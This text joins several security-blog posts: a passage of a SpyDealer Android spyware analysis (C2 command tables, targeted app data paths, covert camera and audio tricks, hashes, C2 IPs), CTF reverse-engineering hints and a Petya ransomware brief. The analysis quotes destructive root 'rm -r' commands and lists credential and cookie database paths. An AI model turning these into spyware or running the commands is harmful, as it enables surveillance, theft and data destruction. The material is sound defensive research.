gettype\t1 Send back contacts information including contact name and phone number
gettype\t\t1 Send back SMS messages in inbox, outbox and draft box
gettype\t\t\t1 Send back call histories including phone call duration, type and date
listdir\t<directory> Send back the information of files under a given directory. The information contains file path, file size and last modified time.
Over Close the socket connection

The response data is formatted in the following pattern in bytes:

{0x35, 0x31, 0x64, 0x11, 0x09, <length of data>, 0x09, <data>}

However, there is no authentication mechanism implemented before accepting the incoming commands, which means anyone can connect to a compromised device and control it as long as one knows the target device’s IP address.

UDP/TCP Client

Aside from the TCP server that passively waits for the commands, SpyDealer can also actively connect to the remote server with the configured IP address to ask for commands through UDP or TCP. At first launch, the remote server’s IP address is retrieved from the local asset readme.txt, and the use of UDP or TCP protocols is determined based on another local asset named socket. The list contains around 90 different IP/domains that SpyDealer may use as remote servers. The full list of IP/domains can be found in Appendix B.

The command data received by the client is encrypted by the server using Tiny Encryption Algorithm (TEA) Once the client receives a command, the malware decrypts the data (Figure 10).  and then parses and processes the command. Through the UDP/TCP client channel, the attacker can fully control the compromised device with more than 45 different commands varying from private data collection, surveillance, and remote code execution.

Spydealer_9

Figure 10 TEA algorithm used to decrypt incoming command

Each command starts with the command followed by a newline character and the base64 encoded arguments. Table 5 details a full list of commands available through this channel. One interesting command is named SendMsg. Previously, Android malware could fake an incoming SMS message by exploit the Smishing vulnerability, which was patched in Android 4.2. To achieve this effect in newer Android versions, SpyDealer first inserts an SMS message into the inbox and then posts a notification indicating an SMS message has arrived. To our knowledge, this is the first malware family that fakes an incoming SMS message in this way.

Command Format Command Arguments Description
list\n\<cmd_id>\n<max_count>

\n<directory>

cmd_id: the command index;

max_count: max number of files to collect;

directory: target directory

List at most max_count files under the directory and send back the file name, file size and last modified time
searchdir\n<file_suffix>\t<time_range>

\t<size_range>

file_suffix: suffixes split by “,”,

time_range: start time and end

time split by “-”,

size_range: smallest and largest

file size split by “-”

Search files under external storage and send back the information of files that match the given suffixes, last modified time and file size
subloadfile\n\<file_path>\n

<cmd_id>\n<offset>\n<length>

file_path: the target file path;

cmd_id: command index;

offset: starting point of the file to read;

length: total number of bytes to be sent

Send back a limited content of specified file starting at a given offset
setsctm\n<time> time: number of seconds Set the screen taken interval time. A screenshot is taken every time seconds
getsctm Query the screen taken interval time
setmd5filter\n<file_md5> file_md5: MD5 hash value Set the MD5 filter which will be used to search for a file with the same MD5 value
getmd5filter Query the set MD5 filter
filemd5\n<file_path> file_path: the target file path Collect the file information of the given file_path including MD5, file name, file size and last modified time
loadfile\n<file_dir_path> file_dir_path: the target file or directory path Store the file or directory path that is ready to be uploaded
FinishDFile\n<file_dir_path> file_dir_path: the target file or directory path Store the file or directory path that is already uploaded
sysinfo Collect the compromised device information including phone number, Wi-Fi MAC address, network operator, screen display metrics, camera information, etc.
gsmlocation Get the geographical location based on the cell information
getpackets Collect the installed apps’ information including app name, package name, network packets received and transmitted by an app
queryremoteip Query the remote server’s IP address set previously
contact Get the contact name, phone number and thumbnail images
historycall Send back the phone call history including the phone number, contact name, date and phone call duration
getsms Retrieve all the SMS messages in the inbox, outbox and draft box as well as the MMS messages
set3gtrans\n<type>\n<config> type: indicates the type of configuration, Wi-Fi configuration is set if the value is wifi, otherwise set the 3G configuration

config: the configuration content

Set the configuration under Wi-Fi or 3G network and this configuration controls what actions the malware can do
gettransinfo Query the configuration set that indicates what kind of actions are enabled
SetGpstm\n<time> time: number of seconds Set the GPS location obtaining interval time
QueryGpstm Query the interval time to obtain GPS location
setremoteip\n<ip> ip: IP address of the remote server Set the remote C2 server’s IP address
FileConfig\n<file_name>\n<action_type>

\n<config_content>

file_name: a file is created under the app’s own data directory with the file_name

action_type: if the value is “set”, then the config content will be stored

config_content: configuration content that will be stored

Store the config_content into the file created under the app’s own data directory with the file name file_name
setautophone\n<phone_num> phone_num: phone number Set the phone number and the malware automatically answers the incoming phone call if the number is the same to the set one
getautophone Get the phone number set by the command setautophone
setabroadsms\n<phone_nums> phone_nums: phone numbers are split by the new line character Set the SMS message blocking list. The malware blocks the incoming SMS messages if the phone number is among the blocking list
getabroadsms Get a list of the blocking phone number list set by the command setabroadsms
setsocketmode\n<socket_type>   Set the communication protocol. The default one is UDP. If the socket_type is “t”, then the protocol is changed to TCP
SetBackIp\n<ip> ip: IP address Set the IP address of the backup C2 server
uninstall Uninstall the malware itself
ExecCmd\n<command> command: shell command string Execute the command with root privilege
getevnaudiostate Check the audio recording state which can be enabled or not
SendMsg\n<action_type>\n<phone_num>

\n<content>\n<date_time>

action_type: type of actions

phone_num: phone number

content: message body

date_time: date time string

If the value of action_type is “local”, the malware will insert a fake SMS message with the phone_num as source address and content as message body, and an incoming SMS message notification is posted. Otherwise, an SMS message with the content will be sent to phone_num
 
GetSControl\n Get some configurations such as if need to consume battery, test the network connection, etc.
ReGetApp\n<file_names> file_names: file names split by comma Delete .db files specified by the file_names one by one. The .db files are under /data/data/<package_name>/files/app/out
GetApp\n<package_names> package_names: app package names split by comma Upload app’s data files except libs. The target apps are determined by the argument package_names
StartRoot Try to execute exploits to gain root privilege
camvideo\n<camera_type>\n<duration> camera_type: front or rear camera

duration: duration time for each video to be recorded

Set the configuration for video recording. Use rear camera if camera_type is “back”, otherwise, the front camera is used to record a video. The duration argument specifies the duration of the video.
campic\n<camera_type> camera_type: front or rear camera Determine to use which camera to take a picture. The rear camera is used if camera_type is “back”.
GetPhoneNum\n<phone_num> phone_num: phone number Send the GSM location of the compromised device along with the remote server’s IP to the given phone number via SMS
DeleteFile\n<file_path> file_path: an absolute path of a file or folder Delete a file or folder under the malware’s own data directory.
SControl\n<cmd_type>

\n<cmd_argumetns>

cmd_type: numbers that indicate what type of commands should be executed

cmd_arguments: command arguments

Execute kinds of commands, for example, delete files, get Wi-Fi connection information, consumes battery, etc. All commands are detailed later in Table 6


Table 5 Commands through UDP/TCP Client

For the command type SControl, there are some sub commands determined by the cmd_type field, which is an integer number ranging from 0 to 10. All the sub-commands are detailed in Table 6.

Sub Command Type Command Arguments Description
0 Execute rm commands including “rm -r /system/app/”, “rm -r /data/app/”, “rm -r /system/bin/”, “rm -r /system/xbin/” with root privilege
1 app package names split by comma Remove apps’ data directory by executing the command “rm –r /data/data/<package name>” with root privilege
2 a string ends with “start” Continuously consumes the compromised device’s resource by doing floating multiplication and division
3 file suffixes split by comma Delete all the files on the external storage that match the given file suffixes
4 Enable the airplane mode on a device with the Android version < 18
5 a string ends with “start” Test the network connection by sending a HTTP request to “http://www.163.com/”
6 file path Delete a file specified by the given file path. A file may be not removable because of the permission. With this in mind, SpyDealer first tries to delete the file via Java API File.delete, and then executes the “rm” command with root privilege
8 Collect the current connected Wi-Fi information as well as the history ones. The information contains BSSID, SSID, MAC address, network id, key management and password
9 a string ends with “start” Continuously drain the compromised device’s power by doing floating division
10 Get the compromised device’s system information including IMEI, IMSI, Wi-Fi MAC address, phone number, etc.
99 src_file_path/n/dst_file_path Copy a file from src_file_path to destination dst_file_path

Table 6 Detail of SControl sub commands

The data sent back to the remote server is encrypted using TEA algorithm. Because UDP is a sessionless protocol by design, there is no guarantee that all transmitted packets will be received by the destination without any loss. To mitigate this risk, SpyDealer creates an effective session layer on top of UDP. SpyDealer divides the original data into multiple groups and each group has no more than 1000 bytes data. These groups are sent one by one and every transition is repeated three times. In order to restore the data at the server side, an additional identification code is added at the beginning of each grouped data. Hence, the format of the final group data is shown below:

MulPacket\n<IMEI>\n<UUID>\n<#TotalGroups >\n<CurrentGroupId>\n<Data>

  • IMEI: IMEI of the compromised device
  • UUID: This field consists of two parts. The first part is an integer starting from 0 and increases one by one for each transition. After reaching 10,000,000, it will be reset to 0. The second part is the current time in milliseconds
  • #TotalGroups: Total number of groups
  • CurrentGroupId: The index of the current group and it starts from 1
  • Data: The payload data

Private Data Collection

As discussed in section Command & Control, we have seen this malware employ many mechanisms to collect private data. Additionally, with root privilege, SpyDealer also tries to gather data from more than 40 common apps falling in different categories including social, communication, browser, mobile mail client, etc. The targeted apps are listed in Table 7.

ID Package Name App Name
1 com.facebook.katana Facebook
2 com.tencent.mm WeChat
3 com.whatsapp WhatsApp
4 com.skype.raider/com.skype.rover Skype
5 jp.naver.line.android Line
6 com.viber.voip Viber
7 com.tencent.mobileqq QQ
8 org.telegram.messenger Telegram
9 com.alibaba.mobileim Ali WangXin
10 kik.android Kik
11 com.icq.mobile.client icq video calls & chat
12 com.keechat.client KeeChat Messenger
13 com.oovoo ooVoo Video Call, Text & Voice
14 com.instanza.cocovoice Coco
15 com.bbm BBM
16 com.gtomato.talkbox TalkBox Voice Messenger
17 com.rebelvox.voxer Voxer Walkie Talkie Messenger
18 com.immomo.momo MOMO
19 com.zing.zalo Zalo
20 com.loudtalks Zello PTT Walkie Talkie
21 com.duowan.mobile 手机YY
22 im.yixin 易信
23 cn.com.fetion 飞信
24 com.sgiggle.production Tango
25 com.renren.mobile.android 人人
26 net.iaround 遇见
27 com.sina.weibo Sina Weibo
28 com.tencent.WBlog Tencent Weibo
29 org.mozilla.firefox Firefox Browser
30 com.oupeng.browser Oupeng Browser
31 com.android.browser Android Native Browser
32 com.baidu.browser.apps Baidu Browser
33 com.tencent.mtt Tencent QQ Browser
34 com.lenovo.browser Lenovo Browser
35 com.qihoo.browser Qihoo Browser
36 com.taobao.taobao Taobao
37 com.netease.mobimail NetEase Mail
38 com.tencent.androidqqmail Tencent QQ Mail
39 com.corp21cn.mail189 189 Mail
40 cn.cj.pe 139 Mail
41 com.baidu.netdisk Baidu Net Disk
42 com.l Smart Shopping List - Listonic
43 com.dewmobile.kuaiya Zapya
44 com.funcity.taxi.passenger Kuaidi Taxi

Table 7 The full list of the targeted apps

To gather sensitive data from above apps, SpyDealer first drops an executable binary named dealapp from local assets to the app’s own data directory and then copies it to /system/bin/dealapp with superuser privilege. The /system/bin/dealapp is then launched to gather kinds of data from target apps. The data to be collected is not only limited to database files, but also includes some configuration and other specific files. Table 8 listed some target apps and various directories, databases and files which the malware tries to access.

Table 8 Files which SpyDealer tries to access

App Name Files Accessed
Facebook /data/data/com.facebook.katana/databases/contacts_db2
WeChat /data/data/com.tencent.mm/MicroMsg/***/EnMicroMsg.db
WhatsApp /data/data/com.whatsapp/shared_prefs/RegisterPhone.xml

/data/data/com.whatsapp/shared_prefs/registration.RegisterPhone.xml

Skype /data/data/com.skype.raider/files/<account_name>/main.db
Line /data/data/jp.naver.line.android/databases/e2ee

/data/data/jp.naver.line.android/databases/naver_line

Viber /data/data/com.viber.voip/files/preferences/reg_viber_phone_num

/data/data/com.viber.voip/files/preferences/display_name

/data/data/com.viber.voip/databases/viber_messages

QQ /data/data/com.tencent.mobileqq/databases/*.db
Telegram /data/data/org.telegram.messenger/files/cache4.db

/data/data/org.telegram.messenger/shared_prefs/userconfing.xml

Kik /data/data/kik.android/shared_prefs/KikPreferences.xml

/data/data/kik.android/databases/kikCoreDatabase.db

icq video calls & chat /data/data/com.icq.mobile.client/databases/agent-dao
KeeChat Messenger /data/data/com.keechat.client/app_Parse/currentUser

/data/data/com.keechat.client/databases

ooVoo Video Call, Text & Voice /data/data/com.oovoo/databases/Core.db
BBM /data/data/com.bbm/files/bbmcore/ads.db

/data/data/com.bbm/files/bbmcore/files/

TalkBox Voice Messenger /data/data/com.gtomato.talkbox/shared_prefs/TalkBoxData.xml

/data/data/com.gtomato.talkbox/databases/*_conversations.db

Voxer Walkie Talkie Messenger /data/data/com.rebelvox.voxer/databases/rv.db
Zello PTT Walkie Talkie /data/data/com.loudtalks/shared_prefs/preferences.xml
Tango /data/data/com.sgiggle.production/files/userinfo.xml.db

/data/data/com.sgiggle.production/files/profilecache.db

/data/data/com.sgiggle.production/files/tc.db

FireFox Browser /data/data/org.mozilla.firefox/files/mozilla/browser.db

/data/data/org.mozilla.firefox/files/mozilla/cookies.sqlite

/data/data/org.mozilla.firefox/files/mozilla/signons.sqlite

Oupeng Browser /data/data/com.oupeng.browser/databases/bookmark.db

/data/data/com.oupeng.browser/databases/webviewCookiesChromium.db

/data/data/com.oupeng.browser/databases/webview.db

Android Native Browser /data/data/com.android.browser/databases/webviewCookiesChromium.db
Baidu Browser /data/data/com.baidu.browser.apps/databases/webviewCookiesChromium.db

/data/data/com.baidu.browser.apps/databases/flyflowdownload.db

Tencent QQ Browser /data/data/com.tencent.mtt/databases/webviewCookiesChromium.db

/data/data/com.tencent.mtt/databases/default_user.db

/data/data/com.tencent.mtt/databases/webview_x5.db

Lenovo Browser /data/data/com.lenovo.browser/databases/lebrowser.db

/data/data/com.lenovo.browser/databases/xldownloads.db

Qihoo Browser /data/data/com.qihoo.browser/databases/browser.db

/data/data/com.qihoo.browser/databases/downloads.db

/data/data/com.qihoo.browser/databases/webviewCookiesChromium.db

/data/data/com.qihoo.browser/databases/webview.db

NetEase Mail /data/data/com.netease.mobimail/databases/mmail
Tencent QQ Mail /data/data/com.tencent.androidqqmail/databases/AccountInfo

/data/data/com.tencent.androidqqmail/databases/QMMailDB

189 Mail /data/data/com.corp21cn.mail189/databases/preferences_storage
Baidu Net Disk /data/data/com.baidu.netdisk/databases/account.db
Zapya /data/data/com.dewmobile.kuaiya/databases/im_user.db

/data/data/com.dewmobile.kuaiya/databases/transfer20.db

The dealapp binary can also be updated from the remote server as shown in Figure 11.

Spydealer_10

Figure 11 dealapp update procedure

Accessibility Service Abuse

An increasing number of apps encrypt data before storing it into databases, especially for some popular communication and social apps. App developers do this to protect user data from malicious attacks like this one. To avoid this obstacle, starting in version 1.9.3, SpyDealer implemented an extra accessibility service to steal plain messages by directly extracting texts from the screen. Figure 12 depicts the accessibility service configuration in which the package names of targeted apps are declared.

Spydealer_13

Figure 12 Configuration of the accessibility service

Normally enabling the accessibility service requires the user’s interaction to manually go through the device’s settings. However, with root privilege, SpyDealer can silently enable the accessibility service without a user’s participation. The command used to enable the accessibility service is depicted in Figure 13.

Spydealer_14

Figure 13 Enable accessibility service silently via executing command with root privilege

With the accessibility service enabled, SpyDealer primarily listens for TYPE_NOTIFICATION _STATE_CHANGED and CONTENT_CHANGE_TYPE_SUBTREE events. A notification is posted when a message comes and this triggers the TYPE_NOTIFICATION_STATE _CHANGED event. Usually, a user will click the notification to view the message, which brings the detail view to the front. This behavior further fires the CONTENT_CHANGE_ TYPE_SUBTREE event. Once the CONTENT_CHANGE_ TYPE_SUBTREE event arrives, the malware starts to travel through the current screen to extract plain text messages. Although the number of messages is limited by the dimensions of the device’s screen, continuously monitoring the screen can help to extract the complete messages. After gathering the messages, SpyDealer sends them to the remote server (Figure 14) along with other information including IMEI, IMSI, package name and app name.

Spydealer_15

Figure 14 Send extracted data with other information to the remote server

Surveillance

SpyDealer is capable of surveilling a compromised victim through multiple means including recording phone call and surrounding audio, recording video, taking photos, capturing screenshots, and monitoring geographical locations. It takes these actions based on commands it receives from the command and control channels described above.

Record Phone Call and Surrounding Audio

SpyDealer registers a PhoneStateListener to monitor the phone call status. Once there is an active phone call, the audio recording procedure is triggered. The recorded audio data is finally compressed in zip format and stored to

/sdcard/.tmp/audio/<current_time_in_yyyyMMddHHmmss>_<phone_call_num><phone_call_ date>.zip

A message in the format “audio\n<IMSI>\n<IMEI>\n<zip_file_path>” will be sent to the remote server after audio is successfully recorded.

In addition to recording phone calls, SpyDealer is also capable of recording surrounding, ambient audio. It can be configured to record audio at a specific time range. The recorded audio file is stored to the following path in zip format

/sdcard/.tmp/environmentaudioaudio/<current_time_in_yyyyMMddHHmmss>.zip

Audio files recorded more than seven days ago are automatically deleted from the directory /sdcard/.tmp/environmentaudioaudio.

Record Video

SpyDealer checks to see if the camera is available to record a video every three seconds. In the Android system, a preview surface is required to take a video, which means the user is aware of the video recording event. To avoid this, SpyDealer intentionally sets a very tiny preview surface which, in this case, is 3.0dip * 3.0dip in dimensions. Each video is recorded for 10 seconds and is finally stored to

/data/data/<package_name>/files/cameravideo/<current_time_in_yyyyMMddHHmmss>.zip

If a network connection is available, SpyDealer sends a message in the format “cameravideo\n<IMSI>\n<IMEI> \n<zip_file_path>” to the remote server.

Spydealer_16

Figure 15 A tiny surface view is defined for recording video silently

Take Photos

Similar to recording video without a user’s awareness, this malware creates another tiny preview surface which is 0.100000024dip * 0.100000024dip in dimensions before taking a photo. Using the front or rear camera depends on the configuration which the attacker can set remotely. The taken photo is stored to

/data/data/<package_name>/files/camerapic/camera_<current_time_in_millseconds >.jpg

A message indicating a photo is taken is then sent to the remote server and the message is in the format “camerapic\n<IMSI>\n<IMEI>\n<picture_path>”.

Monitor Geographic Location

SpyDealer dynamically registers a broadcast receiver listening for screen’s status. Whenever the screen is turned off, it tries to get the geographical location via GPS. At the same time, a location listener is registered to track the device’s location. This location listener is notified with the updated location every 10 seconds or whenever 100 meters of movement occurs between location updates. If a network connection is available, the location data will be sent to the remote server in the format

LGPS\n<IMEI>\n<IMSI>\n<longitude>\n<latitude>\n<current_time_in_yyyy-MM-dd hh:mm:ss>

However, the location data is saved locally if there is no network connection and will be uploaded later when the connection is restored.

There is an icon indicating the usage of GPS on the status bar when the GPS is active. To avoid a user’s suspect, SpyDealer stops tracking the device’s location once the device’s screen is turned on.

Other Functionalities

Besides many powerful capabilities described above, SpyDealer is also capable of automatically answering an incoming phone call and dynamically loading plugins downloaded from the remote server.

If the incoming phone call is from a specific number, which can be remotely configured, this malware will simulate an earphone plugged event to automatically answer the phone call, which is detailed in Figure 16. With this functionality, SpyDealer can let the victim miss phone calls without their awareness.

Spydealer_17

Figure 16 Implementations of automatically answer an incoming phone call

Conclusion

SpyDealer makes use of the commercial rooting app “Baidu Easy Root” to gain root privilege and maintain persistence on the compromised device. It employs a wide array of mechanisms to steal private information. At the same time, it accesses and exfiltrates sensitive data from more than 40 different popular apps with root privilege. With accessibility service, this malware is also capable of extracting plain text messages from target apps at real time. To remotely control the victim device, the malware implements three different C2 channels and support more than 50 commands.

Customers of Palo Alto Networks are protected by our WildFire, URL filtering services, Traps for Android. WildFire is able to automatically classify SpyDealer samples as malicious and AutoFocus users can track this malware using the SpyDealer tag. Traps for Android protects Android devices, it automatically intercepts malicious apps installed on the device by leveraging WildFire and protect the device from SpyDealer apps by blocking the app and notifying the user.

Acknowledgements

We would like to thank Claud Xiao and Ryan Olson from Palo Alto Networks for their assistance during the analysis.

Appendix A - IOCs

Samples of SpyDealer

ea472586b6f958fb79051aee5b7b7134dc37818b72ab97d1d542a9f94fdc63f7

9973133dcdaeea5a7d519359ba2272db5de9e9bb5759d169e0454632c3d91401

ec3b506c7fc80717d9ae19ca46ad2599d8d8d4880d6b980da03f054bbcf00cbd

e9a0b8b780999a64838c492b70032a076d052eb321c99d68ab1d230bd91d0100

4e4a31c89613704bcace4798335e6150b7492c753c95a6683531c2cb7d78b3a2

c39a2962c2734f6350cd45a399c58f203cd1b97aa12bec166a27c0fffc850280

13aa7fdf838a7c0bb79a805db25c99d75ccf4088b65c4e1f3741d3c467376faf

77c196544a2a778c63579f1a205ffd631b1999d69043679ab60b13cedc13db0e

d991e1ef7c8a502079d71e2d779b3ae8f081e2af9d1e2709f08b72a7de2a519e

1a941833df8434c7e96ca3cda4465f3cdbb6bd239e6bfd939eb603948b975cd7

b913bdb396d87c1f71073cdfef901697b512bd409c59447bcde1ddab07e5b7e6

e4604fc23d2c89707748e42c8ae8631b8e1db235ec3c9b2488dae4963de46b1a

8001e0258b13cd6971ef1d227cfc9c2f51036f1faf400cff7042fb099d1d11ab

 

The downloaded raw.zip which contains exploits stolen from “Baidu Easy Root”

 

cfd0a4f266a51c45ff7b33e5854bc62a49cfc769e62e1d73dd06ff92a7088f51

Appendix B - IP/Domain List of C2 Servers

IP Country IP Country IP Country
219.150.214.117 China 110.167.201.44 China 192.160.2.78 United States
222.208.85.119 China 116.52.154.114 China 124.117.219.254 China
124.117.237.46 China 116.53.130.192 China 203.156.200.214 China
61.186.137.213 China 218.10.2.237 China 220.171.99.118 China
222.82.238.70 China 222.82.253.110 China 121.26.229.201 China
202.103.207.227 China 218.65.18.193 China 222.82.228.134 China
219.146.144.162 China 222.86.225.194 China 121.12.154.233 China
124.117.249.126 China 117.40.226.57 China 124.117.246.78 China
202.97.135.68 China 222.82.250.62 China 124.117.254.194 China
59.48.105.14 China 61.166.10.147 China 120.68.194.138 China
59.33.110.101 China 124.117.238.62 China 47.88.100.148 United States
218.10.191.6 China 202.103.202.227 China 60.223.252.190 China
120.76.118.153 China 49.116.41.219 China 222.87.144.137 China
124.119.15.6 China 210.26.168.71 China 222.82.252.18 China
222.82.236.226 China 192.160.2.76 United States 218.84.75.243 China
125.46.78.60 China 222.82.229.66 China 120.76.118.53 China
120.68.46.150 China 218.58.124.146 China 222.172.200.200 China
58.242.244.70 China 218.84.35.39 China 124.117.249.170 China
124.117.232.114 China 222.82.252.138 China 124.117.212.218 China
221.212.235.46 China 222.82.230.202 China 118.122.180.173 China
124.235.96.235 China 120.77.177.167 China 222.88.154.148 China
60.30.134.99 China 222.82.230.146 China 120.68.203.46 China
222.82.250.122 China 124.117.218.218 China 220.167.224.171 China
60.164.210.48 China 222.82.210.250 China 222.88.118.104 China
218.31.175.32 China 27.191.191.2 China 124.117.249.26 China
124.117.217.194 China softupdate.eicp.net China 221.235.152.85 China
220.171.24.178 China 60.28.53.174 China 124.117.218.18 China
222.80.52.5 China 113.12.190.254 China 222.208.163.112 China
125.39.138.47 China 124.117.232.198 China 59.46.177.140 China
124.117.236.194 China

 

VIDEO: Tips, Tricks, and Clues to Escape the LabyREnth CTF

We’re halfway through Unit 42’s LabyREnth Capture the Flag (CTF) competition, and things are getting interesting. Malware reverse engineers and threat experts across the world are testing their technical skills in binaries, threat intelligence, programming, and more. Armor has been acquired, tears have been shed, cows have been spotted... Plus, puppies!

Have you escaped the LabyREnth yet?

We know many of you are still in the LabyREnth building security skills and solving challenges. Because we don’t want to leave you trapped in the maze, the LabyREnth creators put together a video and several writeups with some of their best tips, tricks, and clues for solving their security challenges. Check them out below.

All monetary prizes have been claimed, but you can still win electronics and challenge coins, so we encourage you to keep going. As always, good luck escaping the LabyREnth!

Documents 1 Challenge Hints

By: Jeff White

For this challenge, we’re given an RTF file called “find_bbz_challenge_file.rtf” and upon opening it we’re immediately greeted with a prompt to Enable Macros.

LabyREnth_Tips_1

Running it we see a message to double click an object with the Firefox icon to “Find BBZ”.

LabyREnth_Tips_2

Finally, double clicking this Firefox icon takes us to an image of David Bowie in a new document that is opened.

LabyREnth_Tips_3

The first thing I like to do when analyzing Word documents like this is to dig into the Macro source and try to understand what’s happening under the hood. I’ll focus on the “Document_Open()” function and follow the logic and debug the code.

Opening up the Visual Basic Editor we see the function under “ThisDocument” and it immediately does a check for the value of variable “wfozoV”; if it does not equal “bbz” then it launches a function “dLMNiMbhMkYVvgR”.

LabyREnth_Tips_4

Looking at this function shows some variables being set to the returned result of a call to “jlETByoSKP” with an array of integers and another integer.

LabyREnth_Tips_5

This second function appears to be a decoding routine and has familiar operations such as XOR and MOD.

Also of note is the MsgBox function right below the first variable that gets set. Typically, in CTF’s, a MsgBox is used to display the key or other pertinent messages so this is a good place to pause the debugger and see what’s happening.

LabyREnth_Tips_6

In the Locals window, you can see the decoded message. Given this, you should be able to decode the rest of the messages and take down the first level Documents challenge!

Binaries 1 Challenge Hints

By: Tyler Halfpop

We are given the following 3 files for this challenge.  Two of the files come up as data using the file command and look like they might be compressed or encrypted in a hex editor.  One of the files is a PE executable.  This is where you might want to start your analysis.

If you check the strings for MyFirstMalware.exe you will find the correct location to place the other two files in your virtual machine.

If you open MyFirstMalware.exe in a disassembler like IDA and find the main method pictured below you can see that a few of the calls are dynamically resolved.

LabyREnth_Tips_7

Figure 1 main method

The simplest method to determine what these calls are is to use a debugger and step through the program to see what is being called.  Most of the APIs in this challenge are resolved dynamically like this.  This is a common technique that malware authors use to try to make their code more difficult to analyze.

You will need to do something about the sleep call or you will be waiting for a long time.  The simplest method is just to change the parameter pushed to sleep to 1 and then nop out (0x90) the remaining bytes.

LabyREnth_Tips_8

Figure 2 Renamed functions and patched sleep call

Next you will encounter a few anti-analysis techniques that will set variables used for the file decryption.  You need to pass the checks correctly in order to get the correct file to decrypt and the correct password.  After the checks a string is built with the name of an executable, followed by a function that handles the file decryption.

LabyREnth_Tips_9

Figure 2 Disassembly Anti-Checks and Main Flow

After you are able to pass the checks correctly and decrypt the correct file it is injected into another process.  You will need to dump this executable in order to analyze it.  Set a breakpoint on WriteProcessMemory when you find it and then dump the memory pointed to by the third argument on the stack.

LabyREnth_Tips_10

Figure 3 WriteProcessMemory breakpoint showing MZ header

You can then start analyzing the dumped binary, which employs similar tricks.   You should be able to apply the same strategies used on the first binary to find the key.

Threat 2 Challenge Hints

By: Jeff White

If you played the CTF last year you’ll immediately be familiar with this challenge. We’re given a folder of 50+ malicious files and are tasked with creating a YARA rule to find a common, specific, function across the set. This is a common practice when analyzing threats and it allows you to find related samples which can then expand your overall knowledge of a given family.

The directions.txt file that comes with the samples gives us more insight into what’s required. Specifically, our rule will need to match the following syntax and will need to include 308 wildcard’s for a total of 298 byte matching hex-rule.

Typically, what I do in these scenarios is start with the smallest file possible as it must contain the function we’re interested in and will have less noise, then I’ll choose a larger file that will have more noise but should make finding similarities easier. For this example, I’ll use the below samples if you want to follow along.

Small (94KB) - 7f63e65ab460ff8ad607ede5bedb9573263015ba81824c3896f5416969353dba
Large (394KB) - c99b32b4bd6744311cdb357c8fa2210de6b79873f104a8f6268c2e60c606d330

There are a few methods to approach this problem and the most basic is a simple visual comparison inside a disassembler like IDA. You can compare the basic blocks and graph overview one-by-one to see if anything visually matches.

LabyREnth_Tips_11

Based on the image above, you can see neither of these functions match. At this point you can go down the list until something stands out but this can be extremely time consuming and prone to simple mistakes.

Another method for comparison is to use a tool like BinDiff and take advantage of its built-in “Similarity” scoring system to see if any basic blocks match.

LabyREnth_Tips_12

You can sort the results by Similarity and Confidence to focus in on blocks that appear to be shared between samples. This helps reduce the noise reduce the overall amount of time required.

If you open one of the high Similarity/Confidence blocks up, you’ll see a visual comparison similar to what we saw in IDA.

LabyREnth_Tips_13

In the above image, you can see two functions that are an exact match. If this was the correct size and what we’re after, we can grab the underlying hex bytes which make up the instructions and values. Looking at the hex in IDA we can build a rule based on this data.

LabyREnth_Tips_14

Where the MOV instruction is highlighted as “8B 54 24 08”. Our resulting YARA rule, for this one instruction, would then look like the below.

Rinse and repeat for the entire function until you have the rule. Keep in mind that the function size is 298 bytes so it’s fairly large.

The wildcards come into play when you consider things like offsets or values used by the instructions. In our above example, “MOV EDX, [esp+arg_4]” exists in one sample but what if in another sample it’s arg_B? In that case, the instruction could be the same but we need to account for this delta with a wildcard in YARA so that it still matches between the two.

Below is the same rule but with a wildcard that specifies ANY value here, assuming the rest match, will result in a match.

With 308 wildcards, you can bet the function you’re looking for is going to have a lot of different values!

Mobile 3 Challenge Hints

By: Tyler Halfpop

This challenge is an iOS app that was written in Swift.  If you look at the strings you might notice that there are what looks like some base64 encoded strings.

LabyREnth_Tips_15

The strings are base64 encoded and xor encoded with different keys.  We can use the Swift interpreter and these functions below to decode the strings.  After we decode the strings we can see what looks like a device name, some GPS coordinates, a device type, a decimal, a good job message, and a failure message.  You need to make sure you have the correct values for the environment checks in order to decrypt the key properly.

LabyREnth_Tips_16

If we look at the cross references for the example decoded good job message displayed above.  We can see that the function that references the string is called from a memory warning.  We can also see some functions related to AES encryption and crc32 algorithm.

LabyREnth_Tips_17

Programming 3 Challenge Hints

By: Richard Wartell

For the third challenge of the programming track, we’re given an IP address and port, as well as a hint that states: “The transition from first person to third person is real hard, especially when the game's a cheater...”. This hint refers to the first challenge from the programming track, which is a third person maze. This challenge is a first person maze in ascii art that you must solve in order to progress. When we connect to the challenge we see this:

LabyREnth_Tips_18

The challenge appears to take 4 possible moves: w for move forward, a for turn left, d for turn right, and s for move backwards. Now if we start moving through the maze a little bit, we start to realize that this game cheats. After walking for a while, we keep running into a wall.

LabyREnth_Tips_19

Disconnecting from the challenge and reconnecting allows us to start over, however this keeps happening. After walking for a while, we keep ending up at a dead end like the one below, as if the challenge is creating new walls as you play.

LabyREnth_Tips_20

The challenge here is to figure out how the game cheats, as it must be predictable in order to be solvable, and then get to the end of the maze where the key awaits.

Threat Brief: Petya Ransomware

Situation Summary

This Unit 42 blog provides an update on the threat situation surrounding attacks using the Petya Ransomware which are impacting organizations in Ukraine, Russia and to a lesser extent around the world.

On June 27th, 2017 we became aware of a new variant of the Petya malware which is spreading through multiple lateral movement techniques. One technique includes  the ETERNALBLUE exploit tool. This is the same exploit the WanaCrypt0r/WannaCry malware exploited to spread globally in May, 2017. At least 50 organizations have reported impacts from the malware, including government and critical infrastructure operators. Most impacted organizations are located in Ukraine, but global organizations with offices in Ukraine have seen the malware spread within their network across national borders.

Palo Alto Networks is documenting our prevention capabilities with regard to this threat in the Palo Alto Networks Protections for Petya Ransomware blog post. Windows users should take the following general steps to protect themselves:

  • Apply security updates in MS17-010
  • Block inbound connections on TCP Port 445
  • Create and maintain good back-ups so that if an infection occurs, you can restore your data.

This is a developing situation, we will update this blog as new information becomes available. AutoFocus users view samples using the Petya tag.

Attack Overview

Petya is a ransomware family that works by modifying the Window’s system’s Master Boot Record (MBR), causing the system to crash. When the user reboots their PC, the modified MBR prevents Windows from loading and displays a fake “chkdisk” screen which indicates the computer's hard drive is being repaired, but the malware is actually encrypting the user's files.  When this process completes, the malware displays an ASCII Ransom note demanding payment from the victim (Figure 1).

petya_1

Figure 1: Latest Petya Ransom note displayed on a compromised system.

The latest version of the Petya ransomware is spreading over Windows SMB and is reportedly using the ETERNALBLUE exploit tool, which exploits CVE-2017-0144 and was originally released by the Shadow Brokers group in April 2017.

